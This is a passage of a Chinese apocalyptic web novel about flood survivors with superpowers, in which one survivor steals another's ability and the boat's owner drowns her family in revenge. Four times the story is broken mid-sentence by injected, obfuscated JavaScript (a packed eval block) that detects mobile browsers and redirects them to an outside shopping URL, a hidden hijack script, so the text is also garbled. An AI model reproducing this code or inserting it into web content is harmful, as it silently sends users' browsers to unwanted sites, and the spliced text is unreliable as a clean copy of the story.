一望无际的水面上，小船放缓了速度，变得平静下来，直到和水流达成相对静止的状态。 次日，天光微亮，黑沉沉的天空变得灰蒙蒙，手表的时间显示凌晨4点。 她们还没醒来。 安定的环境让所有人都久违地睡了一个好觉。 除了柳梅。 她在所有人之前睁开了眼，发了一会呆。 一动不动之下，没有人知道她已经醒过来。 船头的位置，是苏凤晚和萧顺清。 她们睡得很香甜，没有雨水的打扰，枕着几个包裹面容沉静。 柳梅安静地看着，然后推了推身边的高民。 高民醒过来，想要问怎么了，还没出声，便被柳梅捂住了嘴。 柳梅的手在颤抖，高民诧异地看着她。 柳梅缓缓抬起手，指了指那边的两个女人。 她们的位置那么安全，又那么危险，就在船边。 高民困惑的视线随着两人对视而变得恐惧。 他不敢相信自己的老婆怎么会生出这样的念头。 但他必须制止。 高民不像惊扰到其他人，柳梅也同样不想打草惊蛇。 她们在彼此手上写字。 【不要做，会死。】 为了快速传达自己的意思，高民言简意赅，让柳梅心中一震。 【你胆小。】 高民焦急地继续写，她根本不理解他的意思。 昨天柳梅难道没有发现这船的奇异之处吗？ 那凭空而起的隔间，足以证明这船是萧顺清所有。 他千辛万苦救下妻儿，不是想看她拉着全家人一起去死的。 【她的船，我们会死。】 一旦这样的心思被萧顺清看破，只有一个下场，那就是被她扔下船。 【我有办法】 柳梅一字一字写到，颤抖的手不知何时起变得平静。 她注视着她的丈夫，等待着他的决断。 9. 疑窦 高民的眼神疯狂挣扎，柳梅那失望嘲讽的眼神不断加深。 但—— 高民心想，他知道萧顺清的本事，她可能会被推下船，但从来没有失去对这艘船的操控。 柳梅没有显露过她的本事，高民也想象不到她能有什么办法抢到这艘船。 所以，他避开了柳梅的视线，将她的手从嘴上抓下来，牢牢握在手心。 然后，他摇了摇头，柳梅的眼神极度失望，但她最终只是垂下头，闭上眼睛，等待着所有人醒过来。 时间悄然流逝，当小船开始加速，就预示着萧顺清醒了。 船下波涛汹涌，船上风平浪静。 人们接连醒来，窸窸窣窣的声音听得人心中安定。 但是很快，船上的平静被打破，雨棚上被暴雨敲打，那豆大的雨珠像是要撕破厚厚的布料，将人的身体打穿一个洞。 雨，又大了。 水面也没有了那虚伪的平静，萧顺清要费更多的力气将船平稳下来，因此，船的行进速度慢了下来。 她的心底浮起一丝焦虑，不知道大雨会持续多久，按照这个速度，她要多久才能到家？ 看了看身后的人，在大雨持续一个小时仍旧没有变小趋势时，她宣布道： “接下来是全速前进，所有人，抱好重要物资，系好……安全绳。” 船两边各生出四个洞口，让人可以将绳子穿过。 虽然神色各异，但所有人都听从了她的话，找到绳子，将自己和船固定在一起。 很快，那艘小小的船破开风浪，撞开雨幕，好似无所能挡，身后的浪被甩开，再也追不上。 船上的人要吐了，一向平稳的船颠得要把人脑浆晃匀了。 苏凤晚率先忍受不住，将整个人蜷缩起来，脸朝水面，等待着自己吐出来。 另外三人状态也十分不好，柳梅拉着儿子，但两人就像是被撞的小球，一个连着一个被浪打起又落。 屁股快开花了。 狂风暴雨里，柳梅睁不开眼，喊：“我们到底去哪儿？！为什么这么快！” 萧顺清不负责回复。 要是每上一个人都要她来解释自己的船要去何方，她会觉得很烦。 高民回答：“去她老家，她有亲人在那儿。” 柳梅的不满被拍打在脸上的暴雨遮掩得实实在在。 她理解亲人的重要性，但那不是她的亲人，自然不能感同身受。 如果可以，她还想去她的老家呢，难道她没有父母没有想救的人吗？ 在大雨和超速的双重作用下，那脆弱的雨棚也不怎么起作用。 就算抵挡得了天上的水，也没办法阻止船两旁的水打在人的背上。 明明在船上，却跟在水里没什么区别！ 柳梅闭着眼睛，却忽然左边一紧。 她猛然睁眼，左边是她儿子！ 高嘉涛大概是这个船上最不舒服的人，本来狭小的船就让他伸展不开，此时被固定的姿势也不牢靠。 经过几次冲刷，他已经被带得半个身子入水，那根腰间的绳子根本就没办法固定他的重心。 “儿子！” 眼见高嘉涛快要落水，柳梅高呼一声。 高民见状也焦急对萧顺清喊道：“不能再快了！我们要落水了！” 萧顺清皱起眉头，目光从三人身上扫过。 真的，很累赘。 人都上来了。 萧顺清冷声告诫：“苏凤晚可没有被甩出去。” 菜就多练。 长得高还不知道给自己绑好一点，年轻小伙却好像弱柳扶风一样能被甩出去。 苏凤晚：…… 其实她蜷缩得也很难受，但是这样安全啊。 而且这不是想吐吗? 既然萧顺清都这么说了，她必然不能拆台。 苏凤晚笑起来：“你们降低重心，还能减少风阻呢。” 三人忍下憋屈，都各自缩起来，将自己的身体尽量贴在船体底部。 萧顺清满意了，回头看向前方的水面，冲得更快。 这一路上可能遭遇的意外有很多。 怪物攻击，暴雨加大，或者碰上人群她们必须绕路…… 她要在没有意外的时间里走得越快越好。 进食时间，船难得恢复平稳。 萧顺清作为船的拥有者给众人分面包，苏凤晚也给所有人都净化了水。 柳梅似乎觉得这是个搭话的好时候。 “苏小姐，净化水是你的超能力吗？” 苏凤晚点头。 柳梅挪到了她身边： “那你见过别人的超能力吗？那个，萧顺清，她的超能力就是编出这艘船？” 苏凤晚没有起疑。 目前的危机都已经解除，按照萧顺清升级的速度，说不定很快这船又能装下更多的人。 她不用担心被扔下去。 况且，三足鼎立的情况下，她还是萧顺清制衡这一家的重要一方。 苏凤晚：“没见过别人，也就你们了。” 转念又问：“你这么问，是你也有异能？” 她觉得一般人好奇也正常，苏凤晚也只是随便问问。 柳梅抿了下嘴，讪笑一下：“哪里，哪里。” 这下却让苏凤晚起疑了。 她觉得这人在说谎。 可是她为什么说谎？在这条船上，难道不是应该展露价值，让自己能够长长久久地住在穿上吗？ 雨停的那天不知什么时候会到，所有人都清楚这应该是末世。 也许有太阳升起的那天，但在那之前，她们要能够活到雨停才行。 她不理解柳梅的隐瞒，但是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571688|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …苏凤晚忍下了怀疑。 或许是她想错了呢，毕竟她又不是测谎机。 高民若有所思。 船再次启动后，风雨声中，高民坐在了柳梅身边。 她们用彼此能听见的声音交流。 “你究竟是什么能力？” 柳梅意简言赅：“抢夺。” 高民心中一颤：“你实验过吗？” 柳梅如实否认。 她压根没有见过别人有过异能。 那种自己能够抢夺别人能力的意识是在一次高烧之后产生的，但直到遇见萧顺清和苏凤晚之前，她还没有确切肯定谁有异能。 高民抿了下唇：“你先试试。” 柳梅眼神询问，怎么试？ 高民看向苏凤晚，柳梅也慢慢将视线挪了过去。 真是个……好的试验品。 苏凤晚正在给空了的容器装水，通过她观察萧顺清，异能是用得多就能快升级。 如果初始算一级，她现在就还是一级。 还是用得太少了。 她装到第三个瓶子，忽然觉得脑袋里一阵疼痛。 她还惊喜了一瞬，下意识想告诉萧顺清自己也要升级了。 “萧顺清……” 然而下一刻，她感觉不太对劲。 异能升级，怎么回事这个感觉。 大脑好像在被什么东西挖开，然后一点一点吸吮她的脑浆。 好痛！ 这是正常的吗？萧顺清每一次升级都是在经历这些吗？ 萧顺清听见她的呼唤，转头看去，便见苏凤晚一脸痛苦地抱着脑袋，已经一句话也说不出来。 她停船靠近苏凤晚。 “怎么了？出了什么事？” 苏凤晚痛得叫喊起来：“不！不知道！我是不是……在升级？我感觉好痛！” 萧顺清语气急促：“升级应该自己能知道是升级，你有感觉到吗？” 苏凤晚空白了一瞬：“……不是，我没有升级……这是怎么回事？！” 另一边，柳梅掩住了嘴角的笑。 成功了，这个傻姑娘，还觉得自己在升级？ 她和忐忑不安的高民对视一眼，高民的心里渐渐涌上一抹欣喜。 其实，他知道这么做不对。 萧顺清一开始拉了他上船，苏凤晚拼着脱臼也要救他的家人。 但是，如果可以将船掌握在自己的手中，她们才会彻底安全。 看看萧顺清之前的待遇吧，船上的人不敢招惹，绝对安全。 而且，她们不会害了她的性命，只是让这个船不要被单单某个人掌控。 太不理智了。 为了不知死活的家人，将整船的人生命安全置于不顾。 显然，他刻意没有去想，之前的自己是如何祈求萧顺清救柳梅和高嘉涛的。 10. 级别 萧顺清没有查探出任何不对。 她只能看着苏凤晚痛苦地挣扎过后，迷茫一瞬，紧接着迅速将手伸进洪水中。 苏凤晚晃着手，努力感知自己的异能。 可是……为什么？为什么会没有？ “我的异能呢？我的异能不见了！我，我的异能去哪儿了？！” 萧顺清将疯狂的苏凤晚拽了回来，让她待在船中央。 苏凤晚不明原由失去异能，心理防线崩溃， 异能的出现让她有了活下去的资本，得到再失去，这更不能让人接受。 幸存下去的希望微弱，异能能够增加她活下去的希望。 如今失去，等同于将她吊在了悬崖边。 萧顺清同样不知道缘由，只能安慰她。 “不是人人都有异能，没有异能的人也有活下去的希望。” 安慰效果不大。 高嘉涛同样不明情况，但他能看见，苏凤晚没有了异能。 “是啊，你看我们，不也是一样。” 高民拉了一把儿子。 高嘉涛讪讪住嘴，可能这样的安慰并不能起到什么作用吧。 她们一家都没有异能，当然不能体会到苏凤晚的痛苦。 还是他妈妈会说话：“可能是升级失败了？难道这种超能力还会因为升级失败而消失吗？” 这提供了一个可能存在的原因，萧顺清若有所思，苏凤晚安静了一会儿，埋首在膝盖里崩溃大哭。 如果，如果真的是升级失败带来的后果，那她只能将痛苦咽下。 可是，她为什么这么倒霉，又或者是，她实力不足？ 尽管船上的人心思各异，船也依旧重新启动。 萧顺清没有因为苏凤晚而停留更久。 只是她也难免会思索真正的原因。 如她所说，她一拥有异能就对自己的异能了如指掌，升级也能在升级之前感觉到。 难道每个异能都会有可能升级失败，而她恰好次次都成功了？ 船儿乘风破浪，本该按照萧顺清计划好的速度匀速前进。 但是，在船头坐着的萧顺清忽然感觉到一阵异样。 轻微的，如果不是刚刚苏凤晚的事，她也许会以为是雨水打痛了她的头。 但她反应过来了，是一种轻微的剥离感。 在剥离什么？她的异能吗？ 萧顺清缓缓回过头，高民从看见她好似无感起，就缓缓慌了神。 什么情况？ 为什么萧顺清没有被抢夺异能？ 然而一转头，柳梅的额头湿漉漉地，像是在承受着某种身体里传来的痛苦。 萧顺清看着她们，眼神冰冷又嘲讽。 “所以，是你们搞的鬼？” 苏凤晚错愕的抬眼，看看萧顺清，又看向心虚的高民。 “怎么，什么搞鬼？” 他的演技还行，可惜萧顺清不爱看。 她瞥了一眼高民：“不是你，那……是你吗？” 她转头看向高嘉涛，对此一无所知，错愕中的高嘉涛忽然脚下一空。 船体不知什么时候破了一个大洞！ 正在高嘉涛身下，一瞬间，他从船上直直落入水中，幸好高民抓住了他。 高嘉涛惊慌失措：“爸！爸救我！” 高民紧紧抓住儿子的手，因为那一个大洞，此刻的船已经进水了，船身正在倾斜，可萧顺清压根不管。 高民此刻只有一个念头，所以，他做的没错。 船不在自己手里，只会任人宰割！ 但是，但是眼前的情况让他难以接受。 怎么回事，上一次不是成功了吗？柳梅怎么回事？怎么还被发现了！ 他叫喊着：“柳梅！柳梅！柳梅你怎么回事！” “闭嘴！” 柳梅冷汗岑岑，紧紧盯着萧顺清的眼睛，试图通过这样的方式让自己抢夺成功。 可是，可是为什么？萧顺清一点没受影响，她却感受到巨大的阻碍，像是眼前并不是萧顺清，而是一座大山，她根本挪不动一丝半点。 萧顺清笑了：“原来是你。” 柳梅也落入水中，因为落水的惊慌，她再也没办法保持对异能的操纵，只能抓着高民的另一只手。 “救命！救我！老公！” 高民脸色灰白，她们的行动彻底失败，还害得一无所知的儿子也要死在这里。 高嘉涛被水冲刷着头部，呛了许多水。 他奋力的挣扎着，想要抓住船边，但他怎么也触碰不到，只能拽着高民的手哭喊。 “爸爸！救救我！我不想死！” 她们明明上船了，还安安稳稳睡了一晚，为什么忽然会这样！ 高民的脸上不知是水还是汗，男人圆胖的脸满是祈求。 “萧顺清，我求你，我儿子什么都不知道，他是无辜的！你放过他好不好，让他上来吧……我，我下去，你让他上来，我自己跳下去！” 萧顺清扯了下嘴角，并不像在笑，她走近三人，小小的船，三步就能到达。 “你们一家感情这么好，我要是留下他，难道他不会为了你们报仇吗？高老师，我当年成绩不差吧，你觉得我很蠢吗？” 高民并不觉得萧顺清愚蠢，他只是觉得萧顺清善良，所以可以欺负。 他哀求：“我们没有想杀了你……萧顺清，我还救过你！” 萧顺清却很坦然：“所以我报恩了，不仅让你上了船，还允许了你救你的家人。现在，滴水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571689|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之恩，涌泉相报，你们一起下去吧。” 船被水淹没，萧顺清不知怎么想的，始终没有让这艘船直接消失，而是又在高民身下开了一个洞。 在高民落水后，船恢复如初，船内的水从一旁的小洞里流出去，船身也上浮到正常水平。 等到三人一同被水带走，萧顺清恢复了平静。 苏凤晚看着那三人消失的地方，不知道该作何感想。 她的异能消失是柳梅搞的鬼，她应该为此感觉到报仇的快乐。 但是，因为同样是船上的……其他人行列，她又有些兔死狐悲之感。 她知道不应该这样想萧顺清，她做得没错。 但是，情绪是不受人控制的。 萧顺清主宰这条船，她如果不想带着她了，她也只会是那个下场。 萧顺清经过她身边，语气平静，像是没有发现她的心情波动。 “把水舀出去。” 苏凤晚点头。 还有一半的水留在船底，再矮一点的开洞就不知道是灌水还是防水了。 苏凤晚默默将水清理出去，不时看看萧顺清的背影。 忽然，她手上动作一顿，接着惊喜地将手伸到水层中，不一会儿，水便十分清澈，不见半点泥沙。 “萧顺清！我的异能恢复了！” 她开心极了，看着自己手笑了出来。 萧顺清：“嗯。” 这也是意料之中的事。她并不清楚柳梅的能力，但是应该不是消除。 毕竟她们敢对她动手。 要真是消除，除非她们是想同归于尽吧。 很大概率只是某种转移的手法，苏凤晚的异能回来了，可能昭示着，拿走她异能的人已经死了。 苏凤晚也慢慢想到这一点，她抿了下嘴唇，将那三人的样子抛在脑后。 船上减员后，船行进得更加快。 苏凤晚本来就跟萧顺清搭不上话，在这狂风暴雨里更睁不开眼了。 好在船体内部现在只有她一人，空旷得不得了，她干脆躺平在船底，简直和船融为一体。 有些水飘进了船内，她便继续用自己的能力净化，以求快些升级。 她的想法和萧顺清的想法一致。 萧顺清也觉得快些升级更好。 那个柳梅的异能在她身上没有成功，却很顺利的夺走苏凤晚的异能，据她猜测，原因大概率是她的等级较高。 她目前只知道三种异能，最大的区别就是她的等级应该是最高的。 不用提白日里她操纵船极速前进需要抵抗风雨加洪水的直接冲击，还要保持船体的平稳。后者就算在睡觉时她也会下意识的做。 如果升级异能需要修炼，她这是时时刻刻都在积累进度条。 11. 物资 萧顺清看着地图，确认自己到了什么位置。 水面上涨了多少她也不知道，但看着一栋栋高楼大厦几乎只有最顶端的几层还留在水面上。 上涨速度已经过了峰值，水面不再一会儿便吞没一层楼。 萧顺清将水面上的一栋大楼和地图上对应。 大概还有100公里…… 此时，苏凤晚忽然艰难开口：“萧顺清……我这次，真的要升级了。” 她挥了挥手，面上是带着一些喜悦的。 她也体会到了萧顺清所说的，异能升级自己能够体会的那种感觉。 眼下的情况，她要是进入升级，可就没法固定住自己，所以她得告诉萧顺清一声，免得她在升级过程中被甩出船体。 萧顺清理解。 显然异能很珍贵，苏凤晚能够升级也是好事。 “那我要给你加个安全杆吗？” 说着，躺着的苏凤晚身上多出几条横着的木杆，与船融为一体。 苏凤晚推了推，倒是很结实，她让萧顺清开动试试，但还没升到最大速度就叫了停。 “不行不行，会撞死我的！” 她试着完全放松，结果惯性让她身体各处都撞在横杆上，跟出车祸没什么区别。 萧顺清便缩小船身，在苏凤晚的位置上给她做了一个平躺的柜子，让她四面无风，上面是个能打开的滑盖门。 苏凤晚觉得那像个棺材，但升级这事憋不了，她找了些衣服垫在四周，躺进去盖上了盖子。 很快，她不再发出声音，进入了升级状态。 萧顺清的也放开了船速。 没有了另外的人，她们甚至不需要再过多的补充物资，毕竟之前取得的已经够撑一段时间。 只是，物资这种东西，总是越多越好，在未来不确定的情况下，囤货能够给人带来安全感。 萧顺清看着一个漂浮在水面上的帐篷，看着它用小小的身体拖着的大大物资，觉得这人应该安全感十足。 这帐篷里的人显然是随波逐流，没有固定方向，拖着一大堆物资，洪水打来浪，它便翻滚。 萧顺清对此没有意见，她开着船微微调整角度，决定避开它。 但意外发生，萧顺清盯着水面，险些以为自己看错。 那水底忽然多出一个黑影，不一会儿，越来越大。 水面也异样地波动起来。 有什么东西，正在从水下钻出来。 而且，很大。 萧顺清加快速度，想要冲破那东西上浮的范围，却失败了。 水面上下起伏，她的船全速前进之下变得更加不稳，要不是她令船头多出一条倒U型木杆，将她框在船面上，她也要飞起来了。 就跟“棺材”里的苏凤晚一样。 咚咚两声，是苏凤晚撞壁的声音。 那帐篷也凶多吉少。 对比萧顺清还在抵抗，那里头的人想必只觉得这水面又开始不平静了。 封闭的帐篷，根本无法探知外界。 萧顺清眼底闪过一丝情绪，刹那之间，她偏离预定轨道，几乎要撞上那包裹。 擦肩而过的瞬间，船缩小到极限，在靠近帐篷的一侧，船生出了一个U型锁扣。 时机把控得正好，在锁扣之间，正是连接帐篷和物资的麻绳。 向后的惯性冲击让萧顺清身形不稳，但她已经事先缩小了船只，此刻的拖拽力在她的控制范围之内。 终于！勉强逃过水面下怪物的阴影范围。 萧顺清回头看了一眼，丝毫未曾松懈。 身后，一只魔鬼鱼样扁平的怪物冲破水面，鱼跃而出，背部长满了尖牙。 只当它落水的时候，萧顺清才发现，她以为的背部，是人家长大的嘴。 落水的一瞬间，怪物的嘴合拢。 萧顺清选择倒着开，盯着怪物，力图快些甩掉它。 陌生的男声响起：“我靠，那什么！” 旁边的帐篷钻出一个脑袋，萧顺清都没看清他的脸，那人又钻下去了。 本来也没多大期待，萧顺清没管他，继续开船。 然而，她又听见砰砰两声，那怪物在跃出水面的一瞬间似乎被什么伤到，凄厉的号角响彻天际。 萧顺清都愣了一下。 她去看那帐篷里的人，不知何时端着一个奇怪的武器站起来，瞄准着怪物，又是一枪。 显然，怪物受伤是她干的。 萧顺清：…… 她快速解开连接船与帐篷的锁扣，然后驱船离开帐篷周围。 脱离了船的控制，那人的帐篷险些翻了身，枪也歪了。 “你！你快连上啊！怎么突然断了！” 萧顺清没有回应，快速逃离。 男子悲怆大喊：“喂！救命啊！救人救到底啊！我要没啦！” 萧顺清心想，有那么厉害的武器怕什么，他能够一个人击伤怪物，根本不用她搭救。 而且，这人的危险程度对她来说太高。 有如此危险的武器，对于她而言和怪物都具有杀伤力。 男子：“我靠……大姐！菩萨！你救救我，我把物资分你一半！不对不对！这些都给你啊！” 萧顺清：…… 那些物资里种类丰富，除了各种方便零食，萧顺清还看见了很多常见的药品。 思绪在脑内转了仅仅一秒，她又靠近了帐篷的绳子。 男子喘着气：“你，你真是心底善良哈。” 萧顺清当没听见这嘲讽，带着沉重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571690|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物品飞驰离开。 那怪物受伤后速度减慢，船只可见的范围内，很快失去了它的踪迹。 保险起见，萧顺清仍旧向前全速开了一段，才将极限速度转化为正常速度。 她有些脱力，但想到自己还要跟一个人交涉，没有让自己倒下。 “物资，怎么给我。” 男子：…… “你稍等一下。” 他虽然无语，但很讲信用。 他把自己帐篷和物资中间的绳子解开，只让物资部分和萧顺清的船相连。 但是绳子要交付到萧顺清手上时，他又停住了。 萧顺清质疑看他。 男子打着商量：“那个，你能不能把我捎上？我拿我的人格担保，我绝对是好人！而且我有武器，你看，你一个人在船上，要是又碰见怪物了，我不是还能算个帮手吗……” 萧顺清直接摇头，拉过那绳子。 绳子还挺长，对面拽着一截，装可怜道： “菩萨，姐姐，大善人，求你了，你就把我这个累赘捎上吧，我就是你缺失的左膀右臂啊！” 苏凤晚揭棺而起：“谁！” 谁抢我位置！ 她才是跟萧顺清同行的人，这人懂不懂先来后到！ 被棺材里突然蹦出来的人吓一大跳，男子的绳子都差点松了。 可惜不知道那绳子到底是有多长，竟然这也没松开。 “哎哟您看，你这已经有左膀了，正缺右臂呢不是，你看我这右臂，绝对给力啊！” 他撸了撸自己袖子，以示强壮。 苏凤晚爬出来，帮着萧顺清拽绳子。 “我看你像傻臂！船上只有我们两个女人，你觉得我们会收下你？” 男人欣然接受傻臂的称呼，他实在是不想坐这破帐篷了。 像是今天这样的情况，要是没有萧顺清临时起的善心，他就直接死翘翘了。 没有动能，只能顺水前进，没有视野，只能看运气避开物体。 实在是不如上船好啊。 “那您二位能不能把我当成女……好，行，我知道不成，但是我绝对不会打扰您二位的二人世界啊，您要不在船上栓个绳，就带着我走就行，成吗？” 没人爱听他讲话，苏凤晚抱怨：“这绳子到底是有多长，怎么拉不完的。” 萧顺清也奇怪。 她盯着男子看了一会儿，对苏凤晚道： “你直接把物资搬过来，我倒要看看这绳子有多长。” 苏凤晚听令直接去够那木板上捆得严严实实的物资。 男子：“……哎哟，你看你们这船这么小，也装不下吧……” 萧顺清直接将船变大，现在能装下了。 男子：“……” 12. 计划 见到神奇的异能，对方只是略微惊讶，继而喜出望外： “你们也有异能？！我也有啊！姐姐们咱们真是命中注定的一路人啊！” 萧顺清和苏凤晚闻言均是抬眼看向他。 男子脸上神情不似半分造假。 所以，异能难道是大白菜？这么容易被碰上？ 但是如果之前船上的两位男士如果知道的这话，应该会气得吐血。 还有那些在洪水中根本没有自救能力的普通人…… 萧顺清与苏凤晚隐秘地对视一眼，几乎同时做出行动！ 苏凤晚割开了绳子，将物资控制在自己手中。 萧顺清一脚踹在男子身下帐篷，小船也飘逸转身，一眨眼就飞出十米远。 男子完全懵住，直到只能看见一叶小船头也不回，离他而去，他才着急忙慌从帐篷里掏出一个巨大的喇叭。 这喇叭外观大，扩散的声音也更大。 “我的能力真的很好用！真的没有恶意啊！喂！好歹给我个证明自己的机会啊！” 他倒是知道两人是防备他。 面对一个陌生的异能者，萧顺清之前看见对方有巨型攻击武器就在内心竖起了屏障，出于对物资的想法，她也算是和对方合作。 但如果对方还有异能…… 对于萧顺清来说，接触这人带来的危险性急剧提升。 异能者的能力超凡，柳梅就差点让她吃到苦头，怎么能不防？ 那人的喊叫也在持续，也不知道那喇叭是不是定制的，声音传得很广。 “我们拿走了他所有物资，他要是这么喊，会不会暴露自己啊？” 开出一段距离后，船的速度降下来，苏凤晚看着萧顺清的脸色，犹豫着开口。 萧顺清的手握了一下船沿，很快，船又转了回去，在男人惊喜的目光中，她们停留在大约三米开外。 “你说你也有异能，你的异能是什么？” 男子见她们这是想好好聊聊，心里终于松了一口气。 “我能给物品做加强，就是让物品变大，或者变长，应该跟你们刚刚把船变大很像，你们应该能理解这个能力吧？” 其实船变大并不是因为什么加强的异能，但是萧顺清没有否认，而是继续道： “你怎么证明？” 男子展示之前一直被他用来拉锯和绑定物资与帐篷的绳子，还有他手里的那个超大型喇叭。 “这条绳子就是我用能力变长的，还有这个喇叭，是我用能力变大的，我现在把它恢复原样。” 随着男人话音一落，那喇叭变成了超市里普通小喇叭的样子。 “对了，还有这个，这就是个玩具枪，但是我把它的子弹速度加快，所以……” 为了表示诚意，那玩具枪被他扔给了萧顺清。 萧顺清思考着什么，片刻而已，她便在苏凤晚惊诧的目光里露出一个浅笑。 “那你先到船上来说。” 苏凤晚和萧顺清虽然也没有相处十天半个月，但这两天时时刻刻待在一起，她何时见过萧顺清这么温和的样子。 不对，也有过…… 先前萧顺清平衡她和高民时，就是各给甜头，那时，萧顺清对高民的态度倒是很好。 现在嘛，比当时更好。 想到这，苏凤晚觉得自己要起鸡皮疙瘩了。 男子不疑有他，喜出望外，一边收整帐篷，一边高兴地畅想。 “咱们都能让物体变大，我要是上了船，这船就能装更多东西了啊，说不定还能救更多人，简直是绝配！” 男子顺顺利利上船，一步便跨入船体。 萧顺清：“你试试能不能把这艘船变得更大一些。” 男子正想自我介绍呢，他以为自己上了船就是被认可了，结果考验还没结束。 唉，这还有什么好验证的，他当然能将船变…… 等等！ 男子仓皇尴尬：“我，我怎么没办法改变这艘船的大小？我真的有异能啊！” 他飞快抓过一个水盆，在他的操作下，这水盆变成一个澡盆。 异能属实。 萧顺清恢复成正常语气：“你可以继续在船上待着，不要有任何不切实际的幻想，否则……” 男子的身下徐徐打开一个洞口，吓了他一大跳之后便很快合上。 他仍旧不知道这船是怎么回事，但显然这一手操作是人家做给他看的，表示在这艘船上的主导地位。 男子举起手表示听从：“当然，我不是拆散这个家的，我是来加入这个家的。” 苏凤晚：…… 萧顺清：…… 男子讪讪一笑：“我叫陈师望，洪水之前在本地开超市，今年28岁。” “萧顺清。” “苏凤晚。” 陈师望安静了一会儿，见萧顺清看看地图，船就朝着一个方向飞驰。 他也忙活起来，将之前帐篷上的东西都整理到船内。 因为自己开着超市，洪水来临时，他囤了许多物资。 苏凤晚向他伸出手。 船行进的速度很快，陈师望原本的物资很快也整理好。 船上仅有三个人，对于萧顺清的船来说负担不重，这些物资当然放得小。 只是再能放得下也要分门别类，才能取用方便。 比如吃喝食物放在一起，仅起到有备无患作用的便携工具放在最里层，会被打湿的药品放在中间。 要是因为放置不合理，不小心将什么东西掉进水里，那就令人心痛了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571691|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧顺清开着船，也在思考。 船上的物资是有限的。 或者说，洪水的条件下，整个世界的物资都是有限的。 人类的食物来源于大地，但此刻大地被淹没，不知道多久能够见到曙光。 她们的食物都是不可再生资源。 以后水位越来越高，她们也不可能再进入水中获取食物——那些被泡久了的物品也不能再吃了。 她们之前搜集到的物资，也被洪水浸泡过，如不是情况使然，她们也不应该食用。 一切的一切都昭示着未来的资源短缺。 她之前在疲于奔命之后只想着赶紧找到自己的家人，现在才有能力静下心来思考。 上了这艘船的人都想活得更久，而不是守着仅剩的物资等待死亡。 她的终极目的也不仅仅是找到自己的家人，而是带着她们尽可能活得久一些。 “陈师望。” 陈师望应声看过来。 “你的物资没有被洪水泡过？” 陈师望一愣，点头：“当然，洪水来的时候我就把它们搬进了帐篷，干干净净的。” 萧顺清便对两人到：“这一批物资单独存放，优先吃我们找到的，被水淋湿过的食物。” 她在船中央的位置一指，这船上便多出一个舱体，她示意两人将未污染的食物放在里面。 苏凤晚不理解：“为什么？洪水泡过的食物不能……” 她想表达长期食用这种可能被污染的食物不好，既然眼前有优质的食物，为什么要先吃这些。 但是说着说着自己也意识到—— 怎么可能长期食用，她们能不能有足够的食物撑下去都不一定。 “今天开始，我们定期靠岸，主要搜寻食物，根据食物的完好程度分类存放。同时……我们尝试一下，还有没有岸上的植物存活，挖一些土尝试栽种。” 她们有很多盆盆桶桶的容器，单独拿来做实验倒是很容易。 但是在没有阳光，又这么潮湿的情况下想种植，应该不亚于天方夜谭。 另外两人并没有质疑她，反而都明白她这么说的意思。 “我会钓鱼！” 陈师望就连洪水来了都没有丢掉鱼竿，他之前愿意将物资全部交出去，也有一部分原因是他能钓到鱼，之前也不光是靠物资活下来的。 萧顺清问：“还有其他渔具吗？比如捞网？” “只有抄网，我就是平时自己爱钓一下，没有专业工具。” 聊胜于无，而且靠海吃海，眼前这一片汪洋也勉强算是大海了。 “好，以后我们下船搜寻物资，你负责定点钓鱼。” 苏凤晚不会钓鱼，对这个没意见。 当然，她也在考虑自己还能做什么。 13. 山体 萧顺清说的下船搜寻物资，当然不是单指靠岸。 陆地越来越少，可能她们还会下水，就像之前萧顺清和高民那样。 在这一点上，苏凤晚几乎无法做到。 她那两下子，可能不是去找吃的，是给水里的鱼喂吃的。 “我以前养过蘑菇，这种天气，蘑菇应该能比其他植物更好生长吧？” 苏凤晚琢磨了一会儿道。 “不错。” 萧顺清也觉得现在的环境下，蘑菇应该属于她们的第一首选。 但是菌种不好找，而且，没有专业渠道，她们要是种出毒蘑菇那就糟糕了。 她便问道：“你对蘑菇熟悉吗？有没有把握认出能吃的种类？” 